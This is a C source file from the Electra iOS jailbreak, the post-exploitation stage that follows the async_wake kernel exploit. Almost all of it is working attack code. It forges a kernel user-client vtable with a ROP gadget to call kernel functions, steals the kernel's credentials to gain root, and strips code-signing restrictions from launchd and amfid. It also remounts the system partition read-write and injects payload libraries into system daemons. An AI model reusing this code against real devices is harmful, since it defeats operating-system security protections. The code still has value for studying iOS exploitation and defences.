//
//  fun.c
//  async_wake_ios
//
//  Created by George on 14/12/17.
//  Copyright © 2017 Ian Beer. All rights reserved.
//

#include "fun.h"
#include "kmem.h"
#include "IOKit.h"
#include "kutils.h"
#include "utils.h"
#include "apfs_util.h"
#include "file_utils.h"
#include "amfi_utils.h"
#include "bootstrap.h"
#include "codesign.h"
#include "offsetof.h"
#include "unlocknvram.h"
#include "remap_tfp_set_hsp.h"
#include <dlfcn.h>
#include <CommonCrypto/CommonDigest.h>
#include "xpc_minimal.h"
#include "topangadetect.h"
#include "unliberios.h"
#include "removeElectrabeta.h"
#include "fun_objc.h"
#include "nonce.h"

mach_port_t tfpzero;

#define OSDictionary_ItemCount(dict) rk32_electra(dict+20)
#define OSDictionary_ItemBuffer(dict) rk64_electra(dict+32)
#define OSDictionary_ItemKey(buffer, idx) rk64_electra(buffer+16*idx)
#define OSDictionary_ItemValue(buffer, idx) rk64_electra(buffer+16*idx+8)
uint32_t SetObjectWithCharP = 8*31;
#define OSDictionary_SetItem(dict, str, val) {\
uint64_t s = kalloc(strlen(str)+1); kwrite_electra(s, str, strlen(str)); \
kexecute(rk64_electra(rk(dict)+SetObjectWithCharP), dict, s, val, 0, 0, 0, 0); \
}
#define OSString_CStringPtr(str) rk64_electra(str+0x10)

// MARK: - Post exploit patching

bool acknowledgeSnapshotWarning = false;

void snapshotWarningRead(void){
    acknowledgeSnapshotWarning = true;
}

int begin_fun(mach_port_t tfp0, mach_port_t user_client, bool enable_tweaks) {
	
	kern_return_t err;
	
	tfpzero = tfp0;
	
	// Loads the kernel into the patch finder, which just fetches the kernel memory for patchfinder use
	init_kernel(find_kernel_base(), NULL);
	
	// Get the slide
    uint64_t kernel_base_electra = find_kernel_base();
	uint64_t slide = kernel_base_electra - 0xFFFFFFF007004000;
	//printf("\nslide: 0x%016llx\n", slide);
    writeMessagePlain("\nslide: 0x%016llx\n", slide);
	// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
	uint64_t IOSurfaceRootUserClient_port = find_port_address_electra(user_client, MACH_MSG_TYPE_MAKE_SEND); // UserClients are just mach_ports, so we find its address
	uint64_t IOSurfaceRootUserClient_addr = rk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
	uint64_t IOSurfaceRootUserClient_vtab = rk64_electra(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
	
	// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
	// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
	
	// Create the vtable in the kernel memory, then copy the existing vtable into there
	uint64_t fake_vtable = kalloc(0x1000);
	writeMessagePlain("Created fake_vtable at %016llx\n", fake_vtable);
	
	for (int i = 0; i < 0x200; i++) {
		wk64_electra(fake_vtable+i*8, rk64_electra(IOSurfaceRootUserClient_vtab+i*8));
	}
	
	writeMessagePlain("Copied some of the vtable over\n");
	
	// Create the fake user client
	uint64_t fake_client = kalloc(0x1000);
	writeMessagePlain("Created fake_client at %016llx\n", fake_client);
	
	for (int i = 0; i < 0x200; i++) {
		wk64_electra(fake_client+i*8, rk64_electra(IOSurfaceRootUserClient_addr+i*8));
	}
	
	writeMessagePlain("Copied the user client over\n");
	
	// Write our fake vtable into the fake user client
	wk64_electra(fake_client, fake_vtable);
	
	// Replace the user client with ours
	wk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);
	
	// Now the userclient port we have will look into our fake user client rather than the old one
	
	// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
	wk64_electra(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());
	
	writeMessagePlain("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex\n");
	
	// When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
	// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
	// This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
	// function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
	// through like normal.
	
	// Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
	// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
	// (i'm not actually sure if the switch back is necessary but meh
#define KCALL(addr, x0, x1, x2, x3, x4, x5, x6) \
do { \
	uint64_t offx20 = rk64_electra(fake_client+0x40); \
	uint64_t offx28 = rk64_electra(fake_client+0x48); \
	wk64_electra(fake_client+0x40, x0); \
	wk64_electra(fake_client+0x48, addr); \
	err = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); \
	wk64_electra(fake_client+0x40, offx20); \
	wk64_electra(fake_client+0x48, offx28); \
} while (0);
	
	// Get our and the kernels struct proc from allproc
	uint32_t our_pid = getpid();
	uint64_t our_proc = 0;
	uint64_t kern_proc = 0;
	uint64_t amfid_proc = 0;
    uint32_t amfid_pid = 0;
    uint32_t cfprefsd_pid = 0;
    uint32_t backboardd_pid = 0;
    
    bool found_jailbreakd = false;
	
	uint64_t proc = rk64_electra(find_allproc_electra());
	while (proc) {
		uint32_t pid = (uint32_t)rk32_electra(proc + offsetof_p_pid);
		char name[40] = {0};
		kread_electra(proc+0x268, name, 20);
		if (pid == our_pid) {
			our_proc = proc;
		} else if (pid == 0) {
			kern_proc = proc;
        } else if (pid == 1){
            writeMessagePlain("found launchd\n");
            
            uint32_t csflags = rk32_electra(proc + offsetof_p_csflags);
            wk32_electra(proc + offsetof_p_csflags, (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD));
		} else if (strstr(name, "amfid")) {
			writeMessagePlain("found amfid - getting task\n");
            amfid_proc = proc;
            amfid_pid = pid;
            
            uint32_t csflags = rk32_electra(proc + offsetof_p_csflags);
            wk32_electra(proc + offsetof_p_csflags, (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD));
        } else if (strstr(name, "cfprefsd")){
            writeMessagePlain("found cfprefsd. keeping PID\n");
            cfprefsd_pid = pid;
        } else if (strstr(name, "backboardd")){
            writeMessagePlain("found backboardd. keeping PID\n");
            backboardd_pid = pid;
        } else if (strstr(name, "jailbreakd")){
            writeMessagePlain("found jailbreakd. already jailbroken!\n");
            found_jailbreakd = true;
        }
		proc = rk64_electra(proc);
	}
    
    if (found_jailbreakd){
        wk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
        return -1;
    }
	
	writeMessagePlain("our proc is at 0x%016llx\n", our_proc);
	writeMessagePlain("kern proc is at 0x%016llx\n", kern_proc);
	
	// Properly copy the kernel's credentials so setuid(0) doesn't crash
	uint64_t kern_ucred = 0;
	KCALL(find_copyout_electra(), kern_proc+0x100, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0);
    
	uint64_t self_ucred = 0;
	KCALL(find_copyout_electra(), our_proc+0x100, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0);

	KCALL(find_bcopy_electra(), kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t), 0, 0, 0, 0);
	KCALL(find_bzero_electra(), self_ucred + 0x18, 12, 0, 0, 0, 0, 0);
	
	setuid(0);
	
	writeMessagePlain("our uid is %d\n", getuid());
	
    // Test writing to file
    {
        FILE *f = fopen("/var/mobile/test.txt", "w");
        if (f == 0) {
            writeMessagePlain("failed to write test file");
        } else {
            writeMessagePlain("wrote test file: %p\n", f);
        }
        
        unlink("/var/mobile/test.txt");
    }

    // Remap tfp0
    {
        mach_port_t real_tfp0 = MACH_PORT_NULL;
        if (remap_tfp0_set_hsp4(&real_tfp0)) {
            real_tfp0 = MACH_PORT_NULL;
        }
        writeMessagePlain("remapped tfp0: 0x%x\n", real_tfp0);
    }

    unlocknvram();
    
    // Only set a generator if one is not already set or if the user has specified one
    const char *currentgen = getgen();
    if (!currentgen || userGenerator()) {
        const char *gen = genToSet();
        // Only actually set the generator if it is not already set
        if (!currentgen || strcasecmp(currentgen, gen) != 0) {
            printf("Setting generator to %s\n", gen);
            printf("ret: %d\n", setgen(gen));
        } else {
            printf("Requested generator already set: %s\n", gen);
        }
    }
    
    locknvram();
    
	// Remount / as rw - patch by xerub with nosuid patch added by coolstar
	{
        uint64_t _rootvnode = find_rootvnode();
		uint64_t rootfs_vnode = rk64_electra(_rootvnode);
		uint64_t v_mount = rk64_electra(rootfs_vnode + offsetof_v_mount);
		uint32_t v_flag = rk32_electra(v_mount + offsetof_mnt_flag);
		
        v_flag = v_flag & ~MNT_NOSUID;
        v_flag = v_flag & ~MNT_RDONLY;
        
		wk32_electra(v_mount + offsetof_mnt_flag, v_flag & ~MNT_ROOTFS);
		
		char *nmz = strdup("/dev/disk0s1s1");
                int rv = mount("apfs", "/", MNT_UPDATE, (void *)&nmz);
		writeMessagePlain("remounting: %d\n", rv);
		
		v_mount = rk64_electra(rootfs_vnode + offsetof_v_mount);
		wk32_electra(v_mount + offsetof_mnt_flag, v_flag);
		
		int fd = open("/.bit_of_fun", O_RDONLY);
		if (fd == -1) {
			fd = creat("/.bit_of_fun", 0644);
		} else {
			writeMessagePlain("File already exists!\n");
		}
		close(fd);
	}
	
    printf("Did we mount / as read+write? %s\n", file_exists_electra("/.bit_of_fun") ? "yes" : "no");
    
    unlink("/.bit_of_fun");
    
    pid_t pd;
    int rv = 0;
    
    // MARK: Bootstrap
    
    copy_basebinaries();
    
#define BinaryLocation "/electra/inject_criticald"
    
    const char* args_amfid[] = {BinaryLocation, itoa_electra(amfid_pid), "/electra/amfid_payload.dylib", NULL};
    rv = posix_spawn(&pd, BinaryLocation, NULL, NULL, (char **)&args_amfid, NULL);
    waitpid(pd, NULL, 0);
    
    unlink("/.amfid_success");
    const char *args_helloworld[] = {"helloworld", NULL};
    rv = posix_spawn(&pd, "/electra/helloworld", NULL, NULL, (char **)&args_helloworld, NULL);
    waitpid(pd, NULL, 0);
    
    if (!file_exists_electra("/.amfid_success")){
        wk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
        return -3;
    }
    unlink("/.amfid_success");
    
    int bootstrapped = open("/.bootstrapped_electra", O_RDONLY);
    if (bootstrapped == -1) {
        if (checkLiberiOS()){
            removingLiberiOS();
            removeLiberiOS();
        }
        /*
        if (topangaInstalled()){
            close(bootstrapped);
            wk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
            unlink("/electra/rm");
            return -2;
        }
         */
        removingElectraBeta();
        removeElectraBeta();
        
        writeMessagePlain("APFS Snapshots: \n");
        writeMessagePlain("=========\n");
        list_snapshots("/");
        writeMessagePlain("=========\n");
        
        int snapshot = check_snapshot("/", "electra-prejailbreak");
        if (snapshot == 1){
            writeMessagePlain("Snapshot exists!\n");
        } else if (snapshot == 0){
            rename("/electra/createSnapshot", "/createSnapshot");
            rv = posix_spawn(&pd, "/electra/rm", NULL, NULL, (char **)&(const char*[]){ "rm", "-rf", "/electra", NULL }, NULL);
            waitpid(pd, NULL, 0);
            
            rv = posix_spawn(&pd, "/createSnapshot", NULL, NULL, (char **)&(const char*[]){ "createSnapshot", NULL }, NULL);
            waitpid(pd, NULL, 0);
            
            writeMessagePlain("APFS Snapshots: \n");
            
            writeMessagePlain("=========\n");
            list_snapshots("/");
            writeMessagePlain("=========\n");
            
            snapshot = check_snapshot("/", "electra-prejailbreak");
            if (snapshot != 1){
                return -5;
            }
            
            acknowledgeSnapshotWarning = false;
            displaySnapshotNotice();
            while (!acknowledgeSnapshotWarning){
                usleep(100);
            }
            
            copy_basebinaries();
        }
    } else {
        int snapshot = check_snapshot("/", "electra-prejailbreak");
        if (snapshot != 1){
            if (!file_exists_electra("/.electra_no_snapshot")){
                acknowledgeSnapshotWarning = false;
                displaySnapshotWarning();
                while (!acknowledgeSnapshotWarning){
                    usleep(100);
                }
                int rv = open("/.electra_no_snapshot", O_RDWR|O_CREAT);
                close(rv);
            }
        }
    }
    close(bootstrapped);
    
    extract_bootstrap();
    unlink("/electra/createSnapshot");
    unlink("/electra/rm");

    // MARK: - Cleanup
    
    wk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
    
    writeMessagePlain("Starting server...\n");
    start_jailbreakd(kernel_base_electra);

    while (!file_exists_electra("/var/run/jailbreakd.pid")){
        writeMessagePlain("Waiting for jailbreakd...\n");
        usleep(100000); //100 ms
    }

    //update_springboard_plist();
    
    kill(cfprefsd_pid, SIGKILL);
    
    if (enable_tweaks) {
        const char* args_launchd[] = {BinaryLocation, itoa_electra(1), "/electra/pspawn_payload.dylib", NULL};
        rv = posix_spawn(&pd, BinaryLocation, NULL, NULL, (char **)&args_launchd, NULL);
        waitpid(pd, NULL, 0);
    }
    
    wk64_electra(rk64_electra(kern_ucred+0x78)+0x8, 0);
    
    if (enable_tweaks){
        startDaemons();
        
        sleep(2);
        
        //ldrestart puts our device in a state that is unrecovered until reboot, not sure why. 
        
        /*
        const char* args_ldrestart[] = {"ldrestart", itoa_electra(1), "/usr/bin/ldrestart", NULL};
        rv = posix_spawn(&pd, "/usr/bin/ldrestart", NULL, NULL, (char **)&args_ldrestart, NULL);
        waitpid(pd, NULL, 0);
         */
    }
    return 0;
}